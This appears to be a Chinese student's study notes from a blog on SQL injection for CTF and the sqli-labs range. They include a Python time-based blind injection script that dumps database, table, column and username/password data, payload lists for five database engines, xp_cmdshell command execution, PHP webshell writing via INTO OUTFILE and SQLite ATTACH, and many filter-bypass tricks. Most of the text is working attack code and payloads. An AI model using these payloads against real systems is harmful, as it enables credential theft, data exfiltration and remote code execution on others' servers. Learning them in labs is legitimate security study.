            for asc in range(32, 127):
                payload = f"1' and IF(ascii(substr(({name}),{i},1))={asc}, SLEEP(3), 0)--+"
                if is_true(payload):
                    result += chr(asc)
                    # 实时打印进度
                    print(f"\r当前进度: {result}", end="")
                    break
        print()  # 换行
        return result

    # 主程序入口
    if __name__ == "__main__":
        # ========== 1. 爆破数据库名 ==========
        db_len = get_length("database()")
        if db_len == 0:
            print("数据库名长度爆破失败！")
            exit()
        db_name = get_string("database()", db_len)
        print(f"✅ 数据库名: {db_name}")

        # ========== 2. 爆破当前库的所有表名 ==========
        tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
        tables_len = get_length(tables_sql)
        if tables_len == 0:
            print("表名长度爆破失败！")
            exit()
        tables = get_string(tables_sql, tables_len)
        print(f"✅ 所有表名: {tables}")
        # 提取目标表（优先users，无则取第一个表）
        table_list = tables.split(',')
        target_table = "users" if "users" in table_list else table_list[0]
        print(f"🔍 选定目标表: {target_table}")

        # ========== 3. 爆破目标表的所有列名 ==========
        cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
        cols_len = get_length(cols_sql)
        if cols_len == 0:
            print("列名长度爆破失败！")
            exit()
        cols = get_string(cols_sql, cols_len)
        print(f"✅ 目标表列名: {cols}")
        # 提取目标列（优先username/password，无则取前两列）
        col_list = cols.split(',')
        target_cols = [c for c in ["username", "password"] if c in col_list]
        if not target_cols:
            target_cols = col_list[:2]
        print(f"🔍 选定目标列: {target_cols}")

        # ========== 4. 爆破目标列的数据 ==========
        for col in target_cols:
            data_sql = f"select group_concat({col}) from {target_table}"
            data_len = get_length(data_sql)
            if data_len == 0:
                print(f"{col} 数据长度爆破失败！")
                continue
            data = get_string(data_sql, data_len)
            print(f"✅ {col} 数据: {data}")

    改成post即可
    16. “)闭合 时间盲注 上面的脚本就可以
    17. password里面 单引号闭合 报错注入
    18. 用user-agent进行报错注入 看源码 还需要填上两个值 并且加上一个括号重新闭合 所以常规的报错注入不行 

    1
    ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
    1. referers注入
    2. cookie注入
    3. cookie注入 base64编码 注释符号不能用了 就用’1’=’1 来构造恒真条件 让and后面的执行但是没有意义
      闭合语法 + 构造恒真条件 后面的代码执行但无意义
    4. “闭合
    5. ‘闭合 正常查询 加上’1’=’1闭合即可
    6. 依靠密码修改的后端漏洞 修改密码用户名那里’可以闭合 也就是可以通过提前闭合 比如提前知晓一个用户名是admin 自己设置一个用户名为admin’ 闭合之后 后面注释掉现有密码的检验 让他失效 也就是admin’#11111（随便加的1 不然感觉太明显了 其实也很明显）最后修改密码 实则修改的是admin的密码 有了密码登陆即可（下来我会去寻找其他二次注入的题）
    7. and or 不能用了 可以用逻辑运算符&&，||代替 至于库里面的or 双写绕过即可 这里其他编码也不行

    到这里
    基础的Mysql靶场前25关打完了 但是只局限于MySQL的数据库类型 下面结合博客上面的文章以及ivory学长的文章链接补充其他的数据库类型以及更多的绕过方法

    判断数据库类型的方法

    1. 基于报错信息的识别 前提是开启了报错提示 不过这个判断我觉得很简单 所以我放在首位
    2. 字符串连接符测试 这个应该是最实用的 检测也很快
      + (加号) -> MSSQL

    • 判定逻辑：MSSQL 唯一使用 + 进行字符串连接。且因强类型限制，1+'a' 会触发类型转换错误。

    • concat(a,b) 或 空格 -> MySQL

    • 判定逻辑：MySQL 支持 concat 函数及隐式连接'a' 'b' 等同于 'ab'）。

    • || (管道符) -> Oracle / PGSQL / SQLite
      判定逻辑：标准 SQL 连接符。
      二次区分 (FROM 子句)：

    • 提交 UNION SELECT 1。若报错提示缺少 FROM，则为 Oracle；若成功，则为 PGSQL/SQLite。

    1. 基于时间的盲注识别
    • MySQL: id=1 AND sleep(5)
    • PostgreSQL: id=1; SELECT pg_sleep(5)
    • MSSQL: id=1 WAITFOR DELAY '0:0:5'
    • Oracle: id=1 AND 1=dbms_pipe.receive_message('RDS', 5)
    • SQLite: id=1 AND randomblob(100000000) (计算耗时模拟)

    系统库详解

    1. MySQL / MariaDB (Web 环境主流)

    系统库架构

    • information_schema (5.0+): 标准元数据库。

      • schemata: 存储数据库名。

      • tables: 存储表名及归属库。

      • columns: 存储列名。

    • mysql: 存储用户权限及 UDF。

      • mysql.user: 提取哈希。

    • sys (5.7+): WAF 绕过关键点。当 information_schema 被过滤时，查询 sys.schema_table_statistics 或 sys.x$schema_flattened_keys 可获取表名信息。
      MySQL 的核心在于利用 group_concat 将多行数据合并，突破单行回显限制。
      A. 爆所有数据库名

    1
    2
    UNION SELECT 1, group_concat(schema_name), 3 
    FROM information_schema.schemata

    B. 爆当前库的所有表名

    1
    2
    3
    UNION SELECT 1, group_concat(table_name), 3 
    FROM information_schema.tables 
    WHERE table_schema=database()

    C. 爆指定表 (e.g., ‘users’) 的所有列名

    1
    2
    3
    UNION SELECT 1, group_concat(column_name), 3 
    FROM information_schema.columns 
    WHERE table_name='users' AND table_schema=database()

    替代方案：Sys 库绕过 (当 information_schema 被禁)

    1
    2
    3
    UNION SELECT 1, group_concat(table_name), 3 
    FROM sys.schema_table_statistics 
    WHERE table_schema=database()

    这个替代方案重点记一下 学长考核的时候问到过 而且information_schema被ban很常见的 下面总结的时候详细写写

    2. SQL Server (MSSQL)

    2.1 系统库架构

    • master: 系统核心库。

      • master..sysdatabases: 数据库列表。

    • sysobjects: 当前库的对象表（xtype=’U’ 代表用户表）。

    • syscolumns: 当前库的列定义。

    2.2 Payload

    MSSQL 早期版本不支持 group_concat，CTF 中常用 FOR XML PATH('') 技术进行数据聚合。

    A. 爆所有数据库名 (FOR XML PATH 聚合)

    1
    2
    /* 将多行数据库名合并为一行显示 */
    UNION SELECT 1, (SELECT name + ',' FROM master..sysdatabases FOR XML PATH('')), 3

    B. 爆当前库的所有表名

    1
    UNION SELECT 1, (SELECT name + ',' FROM sysobjects WHERE xtype='U' FOR XML PATH('')), 3

    C. 爆指定表 (e.g., ‘users’) 的所有列名 需要联合 sysobjects 和 syscolumns。

    1
    2
    3
    4
    5
    UNION SELECT 1, (
        SELECT name + ',' FROM syscolumns WHERE id = (
            SELECT id FROM sysobjects WHERE name = 'users'
        ) FOR XML PATH('')
    ), 3

    D. 提权 (XP_CMDSHELL)

    1
    2
    3
    4
    /* 启用组件并执行命令 */
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    • EXEC: 执行（Execute）。
    • sp_configure: 系统自带的一个功能，用来修改服务器配置。
    • 'show advanced options', 1: 把“显示高级选项”这个开关设为 1（开启）。
    • RECONFIGURE: 保存并立即生效（不加这个，修改只是暂存，不会生效）
      xp_cmdshell 是 MSSQL 里一个非常强大的扩展功能。它的作用是让数据库去指挥 Windows 操作系统执行 DOS 命令
      这个数据库的提权很特别 查了一下
      xp_cmdshell 是 MSSQL (SQL Server) 独有的特性
      居然能直接进行执行系统命令 很神奇

    3. Oracle Database

    3.1 系统视图架构
    • 注意: Oracle 是单实例多用户架构，Schema 等同于用户。
      这个有点特别 从下面也能看出来
      User 与 Schema 是一一对应的。 当你创建一个 User 时，系统隐式地为该用户创建了一个同名的 Schema。用户 A 创建的表，默认存储在 Schema A 中
    • USER_TABLES: 当前用户的表。
    • all_tables / `all_users: 当前用户可访问的所有表。
    • dba_tables / dba_users:显示整个数据库的所有信息，包括管理员隐藏的 （需要权限）
    • USER_TAB_COLUMNS: 当前用户的列信息。
    • v$version: 版本信息。
    3.2 Payload

    Oracle 要求数据类型严格匹配（数字对数字，字符对字符），常用 NULL 填充。聚合函数为 LISTAGG (11gR2+) 或 WMSYS.WM_CONCAT (旧版本)。

    A. 爆当前用户的表名

    1
    2
    /* 使用 LISTAGG 聚合 */
    UNION SELECT 1, (SELECT LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name) FROM user_tables), NULL FROM dual

    B. 爆指定表 (e.g., ‘ADMIN’) 的列名

    1
    UNION SELECT 1, (SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM user_tab_columns WHERE table_name='ADMIN'), NULL FROM dual

    C. 报错注入 (CTXSYS) 当无法使用 UNION 时使用。

    1
    AND 1=ctxsys.drithsx.sn(1, (SELECT banner FROM v$version))

    4. PostgreSQL (PGSQL)

    4.1 系统模式架构

    • pg_catalog: 系统 Schema。

    • pg_database: 数据库列表。

    • pg_tables: 表列表。

    • information_schema: PGSQL 也完全支持 ANSI 标准的 information_schema。

    4.2 Payload

    PGSQL 的聚合函数是 string_agg。

    A. 爆所有数据库名

    1
    UNION SELECT 1, string_agg(datname, ','), 3 FROM pg_database

    B. 爆当前 Schema (public) 的所有表名

    1
    2
    3
    UNION SELECT 1, string_agg(tablename, ','), 3 
    FROM pg_tables 
    WHERE schemaname='public'

    C. 爆列名 (使用 information_schema)

    1
    2
    3
    UNION SELECT 1, string_agg(column_name, ','), 3 
    FROM information_schema.columns 
    WHERE table_name='users'

    5. SQLite

    着重学习这个 基本在ctf里面遇到的全是这个 Python Web的常客 而且与前面的不同是别的数据库你得查表名、再查列名
    SQLite 只要查一张表

    一. 系统表架构

    SQLite 没有复杂的 information_schema 库，它所有的元数据都存储在一个名为 sqlite_master 的隐藏表中（在临时数据库中叫 sqlite_temp_master）

    1. sqlite_master 表结构
    2. 其他辅助系统表
    • sqlite_sequence: 如果表中使用了 AUTOINCREMENT 自增主键，系统会自动创建这张表来记录当前序号。可以通过判断这张表是否存在来辅助识别 SQLite。
      记一下关键字
    二. Payload
    1. 有回显注入
      不需要像 MySQL 那样先查 tables 再查 columns。直接查 sqlite_master 的 sql 字段 类似
      UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'
      回显是直接给里面所有类型的数据 之前打一个国外的ctf题遇见过 当时没总结 取数据也如下
      UNION SELECT 1, group_concat(secret_flag), 3 FROM users
    2. 布尔盲注
      当没有回显时，利用 substr 和 length 进行逐字猜解
      类似 长度
      AND length((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1)) > 5
      字符
      AND substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1), 1, 1) = 'u'
    3. 时间盲注
      SQLite 没有 sleep() 函数
      就用最开始上面说的randomblob() 生成一个巨大的随机二进制大对象，并用 hex 处理 造成卡顿
    4. 写 WebShell 没试验过 条件比较苛刻 看看这个假期出个这样的题（主要依赖**ATTACH** 机制进行写文件操作 ATTACH 的本质是：在不关闭当前连接的情况下，将另一个外部文件的句柄“挂载”到当前的数据库连接会话中）
      条件是
    • 堆叠注入 (Stacked Queries)：必须支持多条语句执行（即允许分号 ;）
    • 数据库运行进程对 Web 目录有写入权限
      执行方式是 利用 ATTACH DATABASE 命令，将一个 PHP 文件当做“数据库”连接进来，然后创建一个表，把 PHP 代码当做数据写入表里，最后 PHP 解析器解析该文件时执行代码
      最基础payload
    1
    '; ATTACH DATABASE '/var/www/html/shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('<?php eval($_POST[1]);?>'); --

    语法很基础 但是局限性很强 满足的条件太苛刻了 我看看尽量把出题的方向往ATTACH的跨库窃取数据方向靠 ATTACH还是太妙了

    1
    2
    3
    ATTACH DATABASE '/var/data/admin_secret.db' AS target;

    UNION SELECT 1, password, 3 FROM target.admin_table;

    前提是知道路径 构思一下怎么出题吧

    SQL补课

    读写文件

    1. 读文件用load_file()函数(读取文件依赖于my.ini配置文件里的secure-file-priv如果secure-file-priv为空的话，就可以读取外部任意文件。默认只可以读取MySQL/MySQL Server 8.0/Uploads”里的。)
      `select load_file(“D:\MySQL\MySQL Server 8.0\Uploads\flag.txt”) as file_content;
    2. 写文件用into outfile
    1
    2
    3
    4
    5
    6
    7
    8
    select 1,'<?php @eval($_POST[cmd]);phpinfo();?>',3 into outfile "/var/www/html/shell.php"
    或者
    select 1,load_file("/var/www/html/flag.txt"),3 into outfile "/var/www/html/shell.php"
    这样可以达到修改文件后缀的效果，当成php解析
    也可以
    ?id=1' union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php'# 
    outfile可以写入多行数据，并且字段和行终止符都可以作为格式输出。  
    dumpfile只能写一行，并且输出中不存在任何格式。

    在多多阅读相关文章后 我发现信神很全面了 好好阅读了 下面cv了信的博客

    常见绕过替代

    空格

    1. 可以使用括号包裹
    1
    SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);

    这个我容易把自己绕晕 所以在做极客和之前一个过滤空格都是用下面的 比较有逻辑
    2. 内联注释/**/可以代替空格

    1
    SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;
    1. 符号代替空格的方式(urlencode)：
    1
    2
    3
    4
    5
    6
    %0D Carriage Return，回车 代替空格  
    %0A Line Feed，换行 代替空格  
    %0C Form Feed，换页 代替空格  
    %09 Horizontal Tab，水平制表 代替空格  
    %0B Vertical Tab，垂直制表 代替空格  
    %A0 Non-breaking space (MySQL only)，不间断空格 代替空格
    1. 使用反引号包裹变量名
    1
    SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;

    引号

    一、宽字节注入（GBK/双字节字符集绕过）
    1. 产生条件

    • PHP 配置中 magic_quotes_gpc = On 或程序对单引号转义

    • 数据库连接使用 GBK、BIG5 等多字节字符集

    • 单引号 ' 被转义为 \'（%5C%27）

    2. 核心原理

    在 GBK 等双字节字符集中，一个汉字占 2 个字节。反斜杠 \ 的 ASCII 码 0x5C 正好在某些中文字符的第二个字节范围内。

    关键过程：

    1
    2
    3
    4
    5
    6
    7
    8
    原始输入：id=1'
    转义后：  id=1\'
    URL编码： id=1%5C%27

    加入宽字节：id=1%df'
    转义后：  id=1%df%5C%27
    GBK解码：  %df%5C → "運"（一个汉字）
    剩余：     %27 → '

    \ 被合并到前一个字节组成汉字，单引号重新暴露。

    3. 可用组合

    • %df%5C → 運

    • %bf%5C → 縗

    • %aa%5C → 需验证字符集支持

    • 范围：首字节 0x81–0xFE + 尾字节 0x40–0xFE（包含 0x5C）

    4. 示例攻击
    1
    2
    3
    4
    5
    6
    7
    8
    -- 正常查询
    SELECT * FROM users WHERE id='1'

    -- 转义后
    SELECT * FROM users WHERE id='1\''

    -- 宽字节注入后
    SELECT * FROM users WHERE id='1運' union select 1,2,3 -- '

    Payload：

    1
    id=1%df' union select 1,2,3 --
    二、反斜杠转义导致的注入
    1. 场景

    多参数查询中，第一个参数的转义影响第二个参数的解析。

    2. 示例

    原始 SQL：

    1
    SELECT username FROM users WHERE id='$id' AND passwd='$passwd'

    攻击输入：

    1
    2
    id=1\
    passwd=UNION SELECT 1,2,3--

    生成 SQL：

    1
    SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--'
    3. 解析过程

    1. id 值为 1\（末尾有反斜杠）

    2. 在 SQL 中 \' 被转义为单引号字符（字面量）

    3. 实际解析为：id='1\' AND passwd=' 作为整个字符串

    4. UNION SELECT 1,2,3-- 成为 SQL 代码执行

    这个原理很妙的 感觉有一种自己杀自己的感觉

    三、十六进制编码绕过引号
    1. 原理

    MySQL 支持十六进制字符串表示：

    • 0x61646D696E = ‘admin’

    • X'61646D696E' = ‘admin’

    2. 转换方法

    Python 转换示例：

    1
    2
    text = "admin"
    hex_str = "0x" + text.encode().hex()  # 0x61646D696E

    常用值：

    • database() → 可先查出库名再转换

    • 字符串值都可用十六进制替代

    3. 注入应用

    原 Payload：

    1
    ' union select 1,table_name from information_schema.tables where table_schema=database() --

    绕过后：

    1
    2

    ' union select 1,table_name from information_schema.tables where table_schema=0x746573746462 --

    CHAR() 函数替代：

    1
    2

    ' union select 1,table_name from information_schema.tables where table_schema=CHAR(116,101,115,116,100,98) --

    过滤逗号

    使用join

    1
    -1'union select 1,2,3--+

    可以写成

    1
    -1'union (select * from(select 1)a join (select 2)b join (select 3)c)--+

    盲注常用的 substring() substr() mid() 中,
    会用到逗号 可以使用 from for 代替:

    1
    2
    3
    SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);  
    SELECT SUBSTR(DATABASE() FROM 1 FOR 1);  
    SELECT MID(DATABASE() FROM 1 FOR 1);

    limit语法也要用到逗号,可以用offset代替

    1
    2
    3
    SELECT * FROM users LIMIT 1 OFFSET 0;
    同
    SELECT * FROM users LIMIT 0,1;

    盲注中也可以使用模糊查询的方法来避免使用逗号:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    SELECT DATABASE() LIKE 's%'
    -- 可以用来检查数据库名是否以's'开头
    -- 类似效果的检查还有：
    -- SELECT SUBSTRING(DATABASE(), 1, 1) = 's'
    -- SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) = 115
    s% 是一个模式字符串，其中 % 是通配符
    % 表示任意数量的字符（包括零个字符）
    s% 匹配所有以 s 开头的字符串，不论其后有多少字符
    */
    这样就可以一个一个字母试了

    LIKE 支持以下通配符：

    • %：匹配零个或多个字符。
    • _：匹配单个字符。
    1
    2
    3
    4
    LIKE 'u%'：匹配以 u 开头的所有字符串。  
    LIKE '%123'：匹配以 123 结尾的所有字符串。  
    LIKE '_b%'：匹配第二个字符是 b 的所有字符串（如 ab123、cb_test）。  
    LIKE 't__t'：匹配 t 开头、接两个字符、然后是 t 的字符串（如 test）

    过滤比较符

    过滤>和<时=，可以使用greatest()和least()函数。 当然= 分别返回最大值和最小值

    1
    2
    3
    4
    select greatest(1,2,3,5,7,9);
    返回9
    select least(1,2,3,5,7,9);
    返回1

    也可以直接用like代替
    – 检查是否等于’s’

    1
    2
    3
    4
    5
    DATABASE() LIKE 's%' AND DATABASE() NOT LIKE 't%'  -- 以s开头且不以t开头
    SUBSTR(DATABASE(),1,1) LIKE 's'                    -- 直接匹配单个字符

    -- 在注入中
    ' OR SUBSTR(DATABASE(),1,1) LIKE 's' --

    也可以用between a and b表示在a和b之间。 例如

    1
    -1' or substr((select database()),1,1) between 'r' and 't'--+

    利用between也可以绕过等号

    1
    2
    3
    -1' or substr((select database()),1,1) between 's' and 's'--+
    等价于
    -1' or substr((select database()),1,1)='s'--+

    用rlike判断某个字段的值是否匹配指定的正则表达式，
    它是regexp的同义词
    用regexp匹配字符串中是否包含符合正则规则的部分,
    默认不区分大小写, 如果需要区分，可以使用binary:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- 精确匹配单个字符's'
    SUBSTR(DATABASE(),1,1) REGEXP '^s$'        -- 以s开始并以s结束（单个字符）
    DATABASE() REGEXP '^s'                     -- 以s开头

    -- 匹配特定ASCII值（通过字符集）
    SUBSTR(DATABASE(),1,1) REGEXP BINARY '[\x73]'  -- 16进制73 = 's'

    -- 在注入中
    ' OR SUBSTR(DATABASE(),1,1) REGEXP '^s$' --

    函数strcmp(str1,str2)

    1
    2
    3
    str1 = str2 -> 0
    str1 < str2 -> -1
    str1 > str2 -> 1

    可以用in语法。 用于判断某个值是否在指定集合中的条件操作符:

    1
    2
    3
    4
    5
    6
    7
    -- 检查是否在集合中
    SUBSTR(DATABASE(),1,1) IN ('s')             -- 单个元素集合
    ASCII(SUBSTR(DATABASE(),1,1)) IN (115)      -- 检查ASCII值

    -- 在注入中
    ' OR SUBSTR(DATABASE(),1,1) IN ('s') --
    ' OR ASCII(SUBSTR(DATABASE(),1,1)) IN (115) --

    INSTR()/LOCATE()/POSITION()

    1
    2
    3
    4
    5
    6
    7
    8
    -- 检查是否包含（位置为1表示开头）
    INSTR(DATABASE(), 's')                      -- 返回位置，0表示不存在
    LOCATE('s', DATABASE())                     -- 同上
    POSITION('s' IN DATABASE())                 -- 同上

    -- 在注入中（使用双重否定）
    ' OR INSTR(SUBSTR(DATABASE(),1,1), 's') --
    ' OR LOCATE('s', SUBSTR(DATABASE(),1,1)) --

    STRCMP() 的布尔化

    1
    2
    3
    4
    5
    -- STRCMP返回-1,0,1，需要转换为布尔值
    NOT STRCMP(SUBSTR(DATABASE(),1,1), 's')     -- 返回1（真）当相等

    -- 因为STRCMP相等时返回0，NOT 0 = 1
    ' OR NOT STRCMP(SUBSTR(DATABASE(),1,1), 's') --

    用<>表示不等于

    1
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))<>114;

    过滤逻辑运算符

    1
    2
    3
    4
    and &&
    or ||
    not !
    xor |

    过滤if

    逻辑中断or || 只需一个表达式为真，整个表达式就为真。
    那么很多时候程序只判断到前一个表达式为真时，
    就忽略后一个表达式不执行，MySQL就具备这个特性。
    可以利用它达到条件判断的效果:

    1
    2
    3
    4
    5
    6
    -- 假设 database 为 "security"  
    -- 它不会执行 SLEEP，因为前一个表达式为真  
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);  
      
    -- 它会执行 SLEEP，因为前一个表达式为假，程序还需要判断后一个表达式才能确定整个表达式的值  
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);

    使用locate(str1,str2) 比较输入的两个字符串， 第一个参数是参照物，第二个参数是参照对象，
    该函数会判断参照对象中是否含有参照物，
    若不含有，则返回 0；
    若含有，则返回该参照物在参照对象中的位置

    CASE WHEN 的更多用法

    1. 复杂条件判断
    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- 多条件嵌套
    SELECT CASE 
        WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 97 AND 122 THEN 'lower'
        WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 65 AND 90 THEN 'upper'
        ELSE 'other'
    END;

    -- 在注入中
    ' OR (CASE WHEN ASCII(SUBSTR(DATABASE(),1,1))=115 THEN 1 ELSE 0 END)=1 --
    1. 结合子查询
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    -- 判断表是否存在
    SELECT CASE WHEN EXISTS(
        SELECT * FROM information_schema.tables 
        WHERE table_schema=DATABASE() AND table_name='users'
    ) THEN 1 ELSE 0 END;

    -- 判断列是否存在
    ' OR (CASE WHEN EXISTS(
        SELECT * FROM information_schema.columns 
        WHERE table_name='users' AND column_name='password'
    ) THEN 1 ELSE 0 END)=1 --

    用elt(N, str1, str2, ..., strN)
    从一个字符串列表中返回对应位置的字符串
    假设有一张表 my_table，
    包含字段 id 和 category，
    我们希望根据 category 的值返回对应字符串：

    1
    2
    3
    SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing')
    AS category_name
    FROM my_table;

    如果 category 的值为 1、2 或 3，
    分别返回 Electronics、Books、Clothing 这个函数同样可以用在盲注中,
    逻辑运算往往会返回 0 或 1，
    也就是说可以让条件为真时,
    执行elt函数第二个参数的表达式

    1
    2
    -- 条件为真时会睡 3 秒  
    SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));

    FIELD() 函数替代

    1
    2
    3
    4
    5
    6
    7
    8
    -- FIELD返回值在列表中的位置（从1开始），不存在则返回0
    SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115);  -- 等于115返回1

    -- 转换为布尔值
    SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) > 0;

    -- 在注入中
    ' OR FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) --

    MAKE_SET() 函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- MAKE_SET返回集合，位掩码选择哪些值
    SELECT MAKE_SET(
        ASCII(SUBSTR(DATABASE(),1,1))-114,  -- 位掩码
        'no', 'yes'                         -- 值列表
    );

    -- 当ASCII=115时，掩码=1，返回'yes'
    -- 在注入中
    ' OR MAKE_SET((ASCII(SUBSTR(DATABASE(),1,1))=115), 0, SLEEP(3)) --

    COALESCE() 和 NULLIF() 组合

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- 利用NULL值
    SELECT COALESCE(
        NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115),
        SLEEP(3)  -- 如果相等则执行
    );

    -- 解释：NULLIF相等返回NULL，COALESCE返回第一个非NULL值
    -- 在注入中
    ' OR COALESCE(NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115), SLEEP(3)) --

    过滤关键字

    如果单纯替换为空，就双写绕过

    1
    select -> selselectect

    如果过滤不区分大小写，就用随便换

    1
    select -> SELECT -> sElEct

    如果过滤关键词组合union select可以改用union all select 或者结合内联注释构造: /*!UNION*/SELECT UNION/**/SELECT
    或者插入其他可代替空格的符号

    过滤information_schema

    information_schema,它是一个系统数据库，存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问，帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名 先看一下有哪些库

    1
    2
    3
    -1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    有
    information_schema,challenges,mysql,performance_schema,security,sys,upload-labs

    这里的sys下有一个sys.schema_auto_increment_columns 当我们利用database（）函数获得数据库名之后,可以利用这个视图去获得表名和列名

    1
    2
    select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";
    -1' union select 1,2,group_concat(table_name,column_name) from sys.schema_auto_increment_columns where table_schema='security'--+

    这样可以直接获得表名和列名。

    1
    2
    3
    4
    5
    6
    7
    8
    +------------+-------------+
    | table_name | column_name |
    +------------+-------------+
    | uagents    | id          |
    | referers   | id          |
    | users      | id          |
    | emails     | id          |
    +------------+-------------+

    还可以利用schema_table_statistics 而对于没有自增列的表名，这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名 schema_table_statistics_with_buffer schema_table_statistics

    1
    2
    3
    select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
    select table_name from sys.schema_table_statistics where table_schema = "security";
    -1' union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema='security'--+

    但是这个好像只可以查表名，不可以查列名。 会报错ERROR 1054 (42S22): Unknown column 'column_name' in 'field list' 但还有办法获得列名，这里就需要用到无列名注入。

    join…using

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    -1' union all select * from (select * from users as a join users as b)as c--+
    回显Duplicate column name 'id'
    这个报错 `Duplicate column name 'id'` 是因为在 `JOIN` 查询中没有指定具体的列，导致结果集中出现了两个同名的 `id` 列（一个来自表 `a`，一个来自表 `b`）。数据库在尝试创建派生表 `c` 时，由于无法处理重复的列名，直接把冲突的列名吐了出来。 
    -1' union select * from (select * from users as a join users as b using(id,username,password))as c--+
    select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
    select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+

    -- 基础原理
    SELECT * FROM users AS a JOIN users AS b;  -- 报错：Duplicate column name 'id'

    -- 获取所有列名
    SELECT * FROM users AS a JOIN users AS b USING(id);
    -- 如果成功，说明只有id列
    -- 如果报错，说明还有其他列，继续尝试...

    SELECT * FROM users AS a JOIN users AS b USING(id, username);
    -- 直到不报错，就得到了所有列名

    -- 自动化方法
    ' UNION SELECT * FROM (SELECT * FROM users AS a JOIN users AS b) AS c --
    -- 通过错误信息获得列名

    order by盲注 order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序，不区分大小写。

    1
    2
    3
     select * from users where id='1' union select 1,2,'c' order by 3;
    select * from users where id='1' union select 1,2,'d' order by 3; 
     select * from users where id='1' union select 1,2,'e' order by 3;

    其中

    1
    2
    3
    4
    5
    6
    7
    8
    1' union select 1,2,'d' order by 3--+
    回显
    Your Login name:2  
    Your Password:d
    1' union select 1,2,'e' order by 3--+
    回显
    Your Login name:Dumb  
    Your Password:Dumb

    测的值大于当前值时，会返回原来的数据即这里看第二列返回是否正常的username，否则会返回猜测的值。 子查询 子查询也能用于无列名注入，主要是结合union select联合查询构造列名再放到子查询中实现。 使用如下union联合查询，可以给当前整个查询的列分别赋予1、2、3的名字：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    -- 1. 正常查询（假设不知道列名）
    SELECT * FROM users WHERE id = 1;

    -- 2. 注入创建虚拟列名
    SELECT 1,2,3 UNION SELECT * FROM users;

    -- 结果：
    -- +---+-------+---------+
    -- | 1 | 2     | 3       |
    -- +---+-------+---------+
    -- | 1 | 2     | 3       |
    -- | 1 | admin | pass123 |
    -- | 2 | user1 | abc123  |
    -- | 3 | user2 | def456  |
    -- +---+-------+---------+

    -- 3. 通过子查询提取具体列
    SELECT `2` FROM (
        SELECT 1,2,3 UNION SELECT * FROM users
    ) AS x;

    -- 结果：
    -- +-------+
    -- | 2     |
    -- +-------+
    -- | 2     |
    -- | admin |
    -- | user1 |
    -- | user2 |
    -- +-------+

    过滤注释符

    常见注释符

    1
    /**/ --+ # /*!*/

    可以平衡引号 例如sql-labs第23关，

    1
    2
    id=1' or '1'='1
    id=1' '

    注入查询语句

    1
    2
    -1' union select 1,2,database() '
    -1' union select 1,database(),3 or '1'='1

    %00截断

    1
    -1' union select 1,database(),3;%00

    但这也只有老版本的php可以用了。从php5.3.4开始就基本不可以用了 改变闭合方式避免语法错误

    1
